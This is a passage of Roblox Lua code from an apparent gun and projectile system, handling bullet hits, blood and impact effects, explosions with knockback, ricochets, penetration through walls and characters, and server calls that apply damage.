Sound.SoundId = "rbxassetid://"..HitCharSndIDs[math.random(1, #HitCharSndIDs)]
Sound.PlaybackSpeed = Random.new():NextNumber(HitCharSndPitchMin, HitCharSndPitchMax)
Sound.Volume = HitCharSndVolume
Sound.Parent = Attachment
for i, v in pairs(Misc.BloodEffectFolder:GetChildren()) do
if v.ClassName == "ParticleEmitter" then
local Count = 1
local Particle = v:Clone()
Particle.Parent = Attachment
if Particle:FindFirstChild("EmitCount") then
Count = Particle.EmitCount.Value
end
Thread:Delay(0.01, function()
EmitParticle(Particle, Count)
Debris:AddItem(Particle, Particle.Lifetime.Max)
end)
end
end
Sound:Play()
Debris:AddItem(Attachment, 10)
if BloodWoundEnabled then
local Hole = Instance.new("Attachment")
Hole.Parent = ParentToPart and Hit or Workspace.Terrain
Hole.WorldCFrame = SurfaceCF * CFrame.Angles(math.rad(90), math.rad(180), 0)
if ParentToPart then
local A0 = Instance.new("Attachment")
local A1 = Instance.new("Attachment")
local BeamClone = Beam:Clone()
BeamClone.Width0 = BloodWoundSize
BeamClone.Width1 = BloodWoundSize
BeamClone.Texture = "rbxassetid://"..BloodWoundTexture[math.random(1, #BloodWoundTexture)]
BeamClone.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, BloodWoundTextureColor), ColorSequenceKeypoint.new(1, BloodWoundTextureColor)})
if BloodWoundPartColor then
local HitPartColor = Hit and Hit.Color or Color3.fromRGB(255, 255, 255)
if Hit and Hit:IsA("Terrain") then
HitPartColor = Workspace.Terrain:GetMaterialColor(Material or Enum.Material.Sand)
end
BeamClone.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, HitPartColor), ColorSequenceKeypoint.new(1, HitPartColor)})
end
BeamClone.Attachment0 = A0
BeamClone.Attachment1 = A1
A0.Parent = Hit
A1.Parent = Hit
A0.WorldCFrame = Hole.WorldCFrame * CFrame.new(BloodWoundSize / 2, -0.01, 0) * CFrame.Angles(math.rad(90), 0, 0)
A1.WorldCFrame = Hole.WorldCFrame * CFrame.new(-BloodWoundSize / 2, -0.01, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0)
BeamClone.Parent = Workspace.Terrain
Thread:Delay(BloodWoundVisibleTime, function()
FadeBeam(A0, A1, BeamClone, Hole, BloodWoundFadeTime, Replicate)
end)
else
Debris:AddItem(Hole, 5)
end
end
end
end
local function OnRayFinalHit(Cast, Origin, Direction, RaycastResult, SegmentVelocity, CosmeticBulletObject)
local EndPos = RaycastResult and RaycastResult.Position or Cast.UserData.SegmentOrigin
local ShowEffects = CanShowEffects(EndPos)
if not AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosiveEnabled, Cast.UserData.ClientModule.ExplosiveEnabled) then
if not RaycastResult then
return
end
if RaycastResult.Instance and RaycastResult.Instance.Parent then
if RaycastResult.Instance.Name == "_glass" and AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.CanBreakGlass, Cast.UserData.ClientModule.CanBreakGlass) then
if Cast.UserData.Replicate then
ShatterGlass:FireServer(RaycastResult.Instance, RaycastResult.Position, Direction)
end
else
if Cast.UserData.ClientModule.BlacklistParts[RaycastResult.Instance.Name] then
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
else
local Distance = (RaycastResult.Position - Origin).Magnitude
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
if ShowEffects then
MakeBloodFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
if Cast.UserData.Replicate then
if TargetHumanoid.Health > 0 then
Thread:Spawn(function()
InflictTarget:InvokeServer("Gun", Cast.UserData.Tool, Cast.UserData.ClientModule, TargetHumanoid, TargetTorso, RaycastResult.Instance, RaycastResult.Instance.Size, Cast.UserData.Misc, Distance)
end)
if Cast.UserData.Tool and Cast.UserData.Tool.GunClient:FindFirstChild("MarkerEvent") then
Cast.UserData.Tool.GunClient.MarkerEvent:Fire(Cast.UserData.ClientModule, RaycastResult.Instance.Name == "Head" and Cast.UserData.ClientModule.HeadshotHitmarker)
end
end
end
else
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
end
end
end
end
else
if Cast.UserData.ClientModule.ExplosionSoundEnabled then
local SoundTable = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionSoundIDs, Cast.UserData.ClientModule.ExplosionSoundIDs)
local Attachment = Instance.new("Attachment")
Attachment.CFrame = CFrame.new(EndPos)
Attachment.Parent = Workspace.Terrain
local Sound = Instance.new("Sound")
Sound.SoundId = "rbxassetid://"..SoundTable[math.random(1, #SoundTable)]
Sound.PlaybackSpeed = Random.new():NextNumber(AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionSoundPitchMin, Cast.UserData.ClientModule.ExplosionSoundPitchMin), AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionSoundPitchMax, Cast.UserData.ClientModule.ExplosionSoundPitchMax))
Sound.Volume = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionSoundVolume, Cast.UserData.ClientModule.ExplosionSoundVolume)
Sound.Parent = Attachment
Sound:Play()
Debris:AddItem(Attachment, 10)
end
local Explosion = Instance.new("Explosion")
Explosion.BlastRadius = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionRadius, Cast.UserData.ClientModule.ExplosionRadius)
Explosion.BlastPressure = 0
Explosion.ExplosionType = Enum.ExplosionType.NoCraters
Explosion.Position = EndPos
Explosion.Parent = Camera
local SurfaceCF = RaycastResult and CFrame.new(RaycastResult.Position, RaycastResult.Position + RaycastResult.Normal) or CFrame.new(Cast.UserData.SegmentOrigin, Cast.UserData.SegmentOrigin + Cast.UserData.SegmentDirection)
if ShowEffects and RaycastResult then
if AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionCraterEnabled, Cast.UserData.ClientModule.ExplosionCraterEnabled) then
if RaycastResult.Instance and RaycastResult.Instance.Parent then
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
if not TargetHumanoid then
local ParentToPart = true
local Hole = Instance.new("Attachment")
Hole.Parent = ParentToPart and RaycastResult.Instance or Workspace.Terrain
Hole.WorldCFrame = SurfaceCF * CFrame.Angles(math.rad(90), math.rad(180), 0)
if ParentToPart then
local Scale = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionCraterSize, Cast.UserData.ClientModule.ExplosionCraterSize)
local Texture = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionCraterTexture, Cast.UserData.ClientModule.ExplosionCraterTexture)
local A0 = Instance.new("Attachment")
local A1 = Instance.new("Attachment")
local BeamClone = Beam:Clone()
BeamClone.Width0 = Scale
BeamClone.Width1 = Scale
BeamClone.Texture = "rbxassetid://"..Texture[math.random(1,#Texture)]
if AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionCraterPartColor, Cast.UserData.ClientModule.ExplosionCraterPartColor) then
local HitPartColor = RaycastResult.Instance and RaycastResult.Instance.Color or Color3.fromRGB(255, 255, 255)
if RaycastResult.Instance and RaycastResult.Instance:IsA("Terrain") then
HitPartColor = Workspace.Terrain:GetMaterialColor(RaycastResult.Material or Enum.Material.Sand)
end
BeamClone.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, HitPartColor), ColorSequenceKeypoint.new(1, HitPartColor)})
end
BeamClone.Attachment0 = A0
BeamClone.Attachment1 = A1
A0.Parent = RaycastResult.Instance
A1.Parent = RaycastResult.Instance
A0.WorldCFrame = Hole.WorldCFrame * CFrame.new(Scale / 2, -0.01, 0) * CFrame.Angles(math.rad(90), 0, 0)
A1.WorldCFrame = Hole.WorldCFrame * CFrame.new(-Scale / 2, -0.01, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0)
BeamClone.Parent = Workspace.Terrain
local VisibleTime = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionCraterVisibleTime, Cast.UserData.ClientModule.ExplosionCraterVisibleTime)
local FadeTime = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionCraterFadeTime, Cast.UserData.ClientModule.ExplosionCraterFadeTime)
Thread:Delay(VisibleTime, function()
FadeBeam(A0, A1, BeamClone, Hole, FadeTime, Cast.UserData.Replicate)
end)
else
Debris:AddItem(Hole, 5)
end
end
end
end
end
if Cast.UserData.ClientModule.CustomExplosion then
Explosion.Visible = false
if ShowEffects then
local Attachment = Instance.new("Attachment")
Attachment.CFrame = SurfaceCF
Attachment.Parent = Workspace.Terrain
for i, v in pairs(Cast.UserData.Misc.ExplosionEffectFolder:GetChildren()) do
if v.ClassName == "ParticleEmitter" then
local Count = 1
local Particle = v:Clone()
Particle.Parent = Attachment
if Particle:FindFirstChild("EmitCount") then
Count = Particle.EmitCount.Value
end
Thread:Delay(0.01, function()
EmitParticle(Particle, Count)
Debris:AddItem(Particle, Particle.Lifetime.Max)
end)
end
end
Debris:AddItem(Attachment, 10)
end
end
local HitHumanoids = {}
Explosion.Hit:Connect(function(HitPart, HitDist)
if HitPart and Cast.UserData.Replicate then
if HitPart.Parent and HitPart.Name == "HumanoidRootPart" or HitPart.Name == "Head" then
local Target = HitPart:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetTorso then
if TargetHumanoid.Health > 0 then
if not HitHumanoids[TargetHumanoid] then
if Cast.UserData.ClientModule.ExplosionKnockback then
local Multipler = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionKnockbackMultiplierOnTarget, Cast.UserData.ClientModule.ExplosionKnockbackMultiplierOnTarget)
local DistanceFactor = HitDist / AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionRadius, Cast.UserData.ClientModule.ExplosionRadius)
DistanceFactor = 1 - DistanceFactor
local VelocityMod = (TargetTorso.Position - Explosion.Position).Unit * AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionKnockbackPower, Cast.UserData.ClientModule.ExplosionKnockbackPower) --* DistanceFactor
local AirVelocity = TargetTorso.Velocity - Vector3.new(0, TargetTorso.Velocity.y, 0) + Vector3.new(VelocityMod.X, 0, VelocityMod.Z)
if DamageModule.CanDamage(Target, Cast.UserData.Character, Cast.UserData.ClientModule.FriendlyFire) then
local TorsoFly = Instance.new("BodyVelocity")
TorsoFly.MaxForce = Vector3.new(math.huge, 0, math.huge)
TorsoFly.Velocity = AirVelocity
TorsoFly.Parent = TargetTorso
TargetTorso.Velocity = TargetTorso.Velocity + Vector3.new(0, VelocityMod.Y * Multipler, 0)
Debris:AddItem(TorsoFly, 0.25)
else
if TargetHumanoid.Parent.Name == Player.Name then
Multipler = AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.ExplosionKnockbackMultiplierOnPlayer, Cast.UserData.ClientModule.ExplosionKnockbackMultiplierOnPlayer)
local TorsoFly = Instance.new("BodyVelocity")
TorsoFly.MaxForce = Vector3.new(math.huge, 0, math.huge)
TorsoFly.Velocity = AirVelocity
TorsoFly.Parent = TargetTorso
TargetTorso.Velocity = TargetTorso.Velocity + Vector3.new(0, VelocityMod.Y * Multipler, 0)
Debris:AddItem(TorsoFly, 0.25)
end
end
end
local Part = RaycastResult and RaycastResult.Instance or HitPart
Thread:Spawn(function()
InflictTarget:InvokeServer("Gun", Cast.UserData.Tool, Cast.UserData.ClientModule, TargetHumanoid, TargetTorso, Part, Part.Size, Cast.UserData.Misc, HitDist)
end)
if Cast.UserData.Tool and Cast.UserData.Tool.GunClient:FindFirstChild("MarkerEvent") then
Cast.UserData.Tool.GunClient.MarkerEvent:Fire(Cast.UserData.ClientModule, Part.Name == "Head" and Cast.UserData.ClientModule.HeadshotHitmarker)
end
HitHumanoids[TargetHumanoid] = true
end
end
end
elseif HitPart.Name == "_glass" and AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.CanBreakGlass, Cast.UserData.ClientModule.CanBreakGlass) then
ShatterGlass:FireServer(HitPart, HitPart.Position, Direction)
end
end
end)
end
end
local function OnRayHit(Cast, Origin, Direction, RaycastResult, SegmentVelocity, CosmeticBulletObject)
local CanBounce = Cast.UserData.CastBehavior.Hitscan and true or false
local CurrentPosition = Cast:GetPosition()
local CurrentVelocity = Cast:GetVelocity()
local Acceleration = Cast.UserData.CastBehavior.Acceleration
if not Cast.UserData.CastBehavior.Hitscan then
Cast.UserData.SpinData.InitalTick = os.clock()
Cast.UserData.SpinData.InitalAngularVelocity = RaycastResult.Normal:Cross(CurrentVelocity) / 0.2
Cast.UserData.SpinData.InitalRotation = (Cast.RayInfo.CurrentCFrame - Cast.RayInfo.CurrentCFrame.p)
Cast.UserData.SpinData.ProjectileOffset = 0.2 * RaycastResult.Normal
if CurrentVelocity.Magnitude > 0 then
local NormalizeBounce = false
local Position = Cast.RayInfo.RaycastHitbox and CurrentPosition or RaycastResult.Position
if Cast.UserData.BounceData.BounceBetweenHumanoids then
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
if not table.find(Cast.UserData.BounceData.BouncedHumanoids, TargetHumanoid) then
table.insert(Cast.UserData.BounceData.BouncedHumanoids, TargetHumanoid)
end
end
local TrackedEntity, TrackedHumanoid, TrackedTorso = FindNearestEntity(Cast, Position)
if TrackedEntity and TrackedHumanoid and TrackedTorso and TrackedHumanoid.Health > 0 then
local DesiredVector = (TrackedTorso.Position - Position).Unit
if Cast.UserData.BounceData.PredictDirection then
local Pos, Vel = DirectionPredictor(Position, TrackedTorso.Position, Vector3.new(), TrackedTorso.Velocity, Acceleration, (2 * TrackedTorso.Velocity) / 3, SegmentVelocity.Magnitude)
if Pos and Vel then
DesiredVector = Vel.Unit
end
end
Cast:SetVelocity(DesiredVector * SegmentVelocity.Magnitude)
Cast:SetPosition(Position)
else
NormalizeBounce = true
end
else
NormalizeBounce = true
end
if NormalizeBounce then
local Delta = Position - CurrentPosition
local Fix = 1 - 0.001 / Delta.Magnitude
Fix = Fix < 0 and 0 or Fix
Cast:AddPosition(Fix * Delta + 0.05 * RaycastResult.Normal)
local NewNormal = RaycastResult.Normal
local NewVelocity = CurrentVelocity
if Cast.UserData.BounceData.IgnoreSlope and (Acceleration ~= Vector3.new(0, 0, 0) and Acceleration.Y < 0) then
local NewPosition = Cast:GetPosition()
NewVelocity = Vector3.new(CurrentVelocity.X, -Cast.UserData.BounceData.BounceHeight, CurrentVelocity.Z)
local Instance2, Position2, Normal2, Material2 = CastWithBlacklist(Cast, NewPosition, Vector3.new(0, 1, 0), Cast.UserData.IgnoreList, true)
if Instance2 then
NewVelocity = Vector3.new(CurrentVelocity.X, Cast.UserData.BounceData.BounceHeight, CurrentVelocity.Z)
end
local X = math.deg(math.asin(RaycastResult.Normal.X))
local Z = math.deg(math.asin(RaycastResult.Normal.Z))
local FloorAngle = math.floor(math.max(X == 0 and Z or X, X == 0 and -Z or -X))
NewNormal = FloorAngle > 0 and (FloorAngle >= Cast.UserData.BounceData.SlopeAngle and RaycastResult.Normal or Vector3.new(0, RaycastResult.Normal.Y, 0)) or RaycastResult.Normal
end
local NormalVelocity = Vector3.new().Dot(NewNormal, NewVelocity) * NewNormal
local TanVelocity = NewVelocity - NormalVelocity
local GeometricDeceleration
local D1 = -Vector3.new().Dot(NewNormal, Acceleration)
local D2 = -(1 + Cast.UserData.BounceData.BounceElasticity) * Vector3.new().Dot(NewNormal, NewVelocity)
GeometricDeceleration = 1 - Cast.UserData.BounceData.FrictionConstant * (10 * (D1 < 0 and 0 or D1) * Cast.StateInfo.Delta + (D2 < 0 and 0 or D2)) / TanVelocity.Magnitude
Cast:SetVelocity((GeometricDeceleration < 0 and 0 or GeometricDeceleration) * TanVelocity - Cast.UserData.BounceData.BounceElasticity * NormalVelocity)
end
CanBounce = true
end
else
local NormalizeBounce = false
if Cast.UserData.BounceData.BounceBetweenHumanoids then
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
if not table.find(Cast.UserData.BounceData.BouncedHumanoids, TargetHumanoid) then
table.insert(Cast.UserData.BounceData.BouncedHumanoids, TargetHumanoid)
end
end
local TrackedEntity, TrackedHumanoid, TrackedTorso = FindNearestEntity(Cast, RaycastResult.Position)
if TrackedEntity and TrackedHumanoid and TrackedTorso and TrackedHumanoid.Health > 0 then
local DesiredVector = (TrackedTorso.Position - RaycastResult.Position).Unit
Cast.RayInfo.ModifiedDirection = DesiredVector
else
NormalizeBounce = true
end
else
NormalizeBounce = true
end
if NormalizeBounce then
local CurrentDirection = Cast.RayInfo.ModifiedDirection
local NewDirection = CurrentDirection - (2 * CurrentDirection:Dot(RaycastResult.Normal) * RaycastResult.Normal)
Cast.RayInfo.ModifiedDirection = NewDirection
end
end
if CanBounce then
if Cast.UserData.BounceData.CurrentBounces > 0 then
Cast.UserData.BounceData.CurrentBounces -= 1
local ShowEffects = CanShowEffects(RaycastResult.Position)
if Cast.UserData.BounceData.NoExplosionWhileBouncing then
if RaycastResult.Instance.Name == "_glass" and AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.CanBreakGlass, Cast.UserData.ClientModule.CanBreakGlass) then
if Cast.UserData.Replicate then
ShatterGlass:FireServer(RaycastResult.Instance, RaycastResult.Position, SegmentVelocity.Unit)
end
else
if Cast.UserData.ClientModule.BlacklistParts[RaycastResult.Instance.Name] then
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
else
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local Distance = (RaycastResult.Position - Origin).Magnitude
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
if ShowEffects then
MakeBloodFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
if Cast.UserData.Replicate then
if TargetHumanoid.Health > 0 then
Thread:Spawn(function()
InflictTarget:InvokeServer("Gun", Cast.UserData.Tool, Cast.UserData.ClientModule, TargetHumanoid, TargetTorso, RaycastResult.Instance, RaycastResult.Instance.Size, Cast.UserData.Misc, Distance)
end)
if Cast.UserData.Tool and Cast.UserData.Tool.GunClient:FindFirstChild("MarkerEvent") then
Cast.UserData.Tool.GunClient.MarkerEvent:Fire(Cast.UserData.ClientModule, RaycastResult.Instance.Name == "Head" and Cast.UserData.ClientModule.HeadshotHitmarker)
end
end
end
else
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
end
end
end
else
OnRayFinalHit(Cast, Origin, Direction, RaycastResult, SegmentVelocity, CosmeticBulletObject)
end
end
end
end
local function CanRayHit(Cast, Origin, Direction, RaycastResult, SegmentVelocity, CosmeticBulletObject)
if Cast.UserData.ClientModule.BlacklistParts[RaycastResult.Instance.Name] then
if Cast.UserData.BounceData.StopBouncingOn == "Object" then
return false
end
else
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
if Cast.UserData.BounceData.StopBouncingOn == "Humanoid" then
return false
end
else
if Cast.UserData.BounceData.StopBouncingOn == "Object" then
return false
end
end
end
if not Cast.UserData.CastBehavior.Hitscan and Cast.UserData.BounceData.SuperRicochet then
return true
else
if Cast.UserData.BounceData.CurrentBounces > 0 then
return true
end
end
return false
end
local function OnRayExited(Cast, Origin, Direction, RaycastResult, SegmentVelocity, CosmeticBulletObject)
if not RayExit then
return
end
if Cast.UserData.PenetrationData then
if Cast.UserData.ClientModule.PenetrationType == "WallPenetration" then
local ShowEffects = CanShowEffects(RaycastResult.Position)
if RaycastResult.Instance and RaycastResult.Instance.Parent then
if RaycastResult.Instance.Name == "_glass" and AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.CanBreakGlass, Cast.UserData.ClientModule.CanBreakGlass) then
return
else
if Cast.UserData.ClientModule.BlacklistParts[RaycastResult.Instance.Name] then
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
else
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
if ShowEffects then
MakeBloodFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
else
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
end
end
end
end
end
end
if RaycastResult.Instance and RaycastResult.Instance.Parent then
local vis = Cast:DbgVisualizeHit(CFrame.new(RaycastResult.Position), true)
if (vis ~= nil) then vis.Color3 = Color3.fromRGB(13, 105, 172) end
end
end
local function CanRayPenetrate(Cast, Origin, Direction, RaycastResult, SegmentVelocity, CosmeticBulletObject)
local ShowEffects = CanShowEffects(RaycastResult.Position)
if RaycastResult.Instance and RaycastResult.Instance.Parent then
if Cast.UserData.ClientModule.IgnoreBlacklistedParts and Cast.UserData.ClientModule.BlacklistParts[RaycastResult.Instance.Name] then
return true
else
local Target = RaycastResult.Instance:FindFirstAncestorOfClass("Model")
local TargetHumanoid = Target and Target:FindFirstChildOfClass("Humanoid")
local TargetTool = RaycastResult.Instance:FindFirstAncestorOfClass("Tool")
if (RaycastResult.Instance.Transparency > 0.75
or RaycastResult.Instance.Name == "Missile"
or RaycastResult.Instance.Name == "Handle"
or RaycastResult.Instance.Name == "Effect"
or RaycastResult.Instance.Name == "Bullet"
or RaycastResult.Instance.Name == "Laser"
or string.lower(RaycastResult.Instance.Name) == "water"
or RaycastResult.Instance.Name == "Rail"
or RaycastResult.Instance.Name == "Arrow"
or (TargetHumanoid and (TargetHumanoid.Health <= 0 or not DamageModule.CanDamage(Target, Cast.UserData.Character, Cast.UserData.ClientModule.FriendlyFire) or (Cast.UserData.PenetrationData and table.find(Cast.UserData.PenetrationData.HitHumanoids, TargetHumanoid)) or (Cast.UserData.BounceData and table.find(Cast.UserData.BounceData.BouncedHumanoids, TargetHumanoid))))
or TargetTool) then
return true
else
if Cast.UserData.PenetrationData then
if Cast.UserData.ClientModule.PenetrationType == "WallPenetration" then
if Cast.UserData.PenetrationData.PenetrationDepth <= 0 then
return false
end
elseif Cast.UserData.ClientModule.PenetrationType == "HumanoidPenetration" then
if Cast.UserData.PenetrationData.PenetrationAmount <= 0 then
return false
end
end
local MaxExtent = RaycastResult.Instance.Size.Magnitude * Direction
local ExitHit, ExitPoint, ExitNormal, ExitMaterial = Workspace:FindPartOnRayWithWhitelist(Ray.new(RaycastResult.Position + MaxExtent, -MaxExtent), {RaycastResult.Instance}, Cast.RayInfo.Parameters.IgnoreWater)
local Dist = (ExitPoint - RaycastResult.Position).Magnitude
if RaycastResult.Instance.Name == "_glass" and AddressTableValue(Cast.UserData.ClientModule.ChargedShotAdvanceEnabled, Cast.UserData.Misc.ChargeLevel, Cast.UserData.ClientModule.ChargeAlterTable.CanBreakGlass, Cast.UserData.ClientModule.CanBreakGlass) then
if Cast.UserData.Replicate then
ShatterGlass:FireServer(RaycastResult.Instance, RaycastResult.Position, SegmentVelocity.Unit)
end
if Cast.UserData.ClientModule.PenetrationType == "WallPenetration" then
local ToReduce = 1 - ((Dist / Cast.UserData.PenetrationData.PenetrationDepth / 1.1))
Cast.UserData.PenetrationData.PenetrationDepth *= ToReduce
return true
end
else
if Cast.UserData.ClientModule.BlacklistParts[RaycastResult.Instance.Name] then
if Cast.UserData.ClientModule.PenetrationType == "WallPenetration" then
if ShowEffects then
MakeImpactFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
local ToReduce = 1 - ((Dist / Cast.UserData.PenetrationData.PenetrationDepth / 1.1))
Cast.UserData.PenetrationData.PenetrationDepth *= ToReduce
if ExitHit then
OnRayExited(Cast, RaycastResult.Position + MaxExtent, -MaxExtent, {Instance = ExitHit, Position = ExitPoint, Normal = ExitNormal, Material = ExitMaterial}, SegmentVelocity, CosmeticBulletObject)
end
return true
end
else
local Distance = (RaycastResult.Position - Origin).Magnitude
local TargetTorso = Target and (Target:FindFirstChild("HumanoidRootPart") or Target:FindFirstChild("Head"))
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
if not table.find( Cast.UserData.PenetrationData.HitHumanoids, TargetHumanoid) then
table.insert(Cast.UserData.PenetrationData.HitHumanoids, TargetHumanoid)
if ShowEffects then
MakeBloodFX(RaycastResult.Instance, RaycastResult.Position, RaycastResult.Normal, RaycastResult.Material, true, Cast.UserData.ClientModule, Cast.UserData.Misc, Cast.UserData.Replicate)
end
if Cast.UserData.Replicate then
if TargetHumanoid.Health > 0 then
Thread:Spawn(function()
InflictTarget:InvokeServer("Gun", Cast.UserData.Tool, Cast.UserData.ClientModule, TargetHumanoid, TargetTorso, RaycastResult.Instance, RaycastResult.Instance.Size, Cast.UserData.Misc, Distance)
end)
if Cast.UserData.Tool and Cast.UserData.Tool.GunClient:FindFirstChild("MarkerEvent") then
Cast.UserData.Tool.GunClient.MarkerEvent:Fire(Cast.UserData.ClientModule, RaycastResult.Instance.Name == "Head" and Cast.UserData.ClientModule.HeadshotHitmarker)
end
end
end
if Cast.UserData.ClientModule.PenetrationType == "WallPenetration" then
local ToReduce = 1 - ((Dist / Cast.UserData.PenetrationData.PenetrationDepth / 1.1))
Cast.UserData.PenetrationData.PenetrationDepth *= ToReduce
if ExitHit then
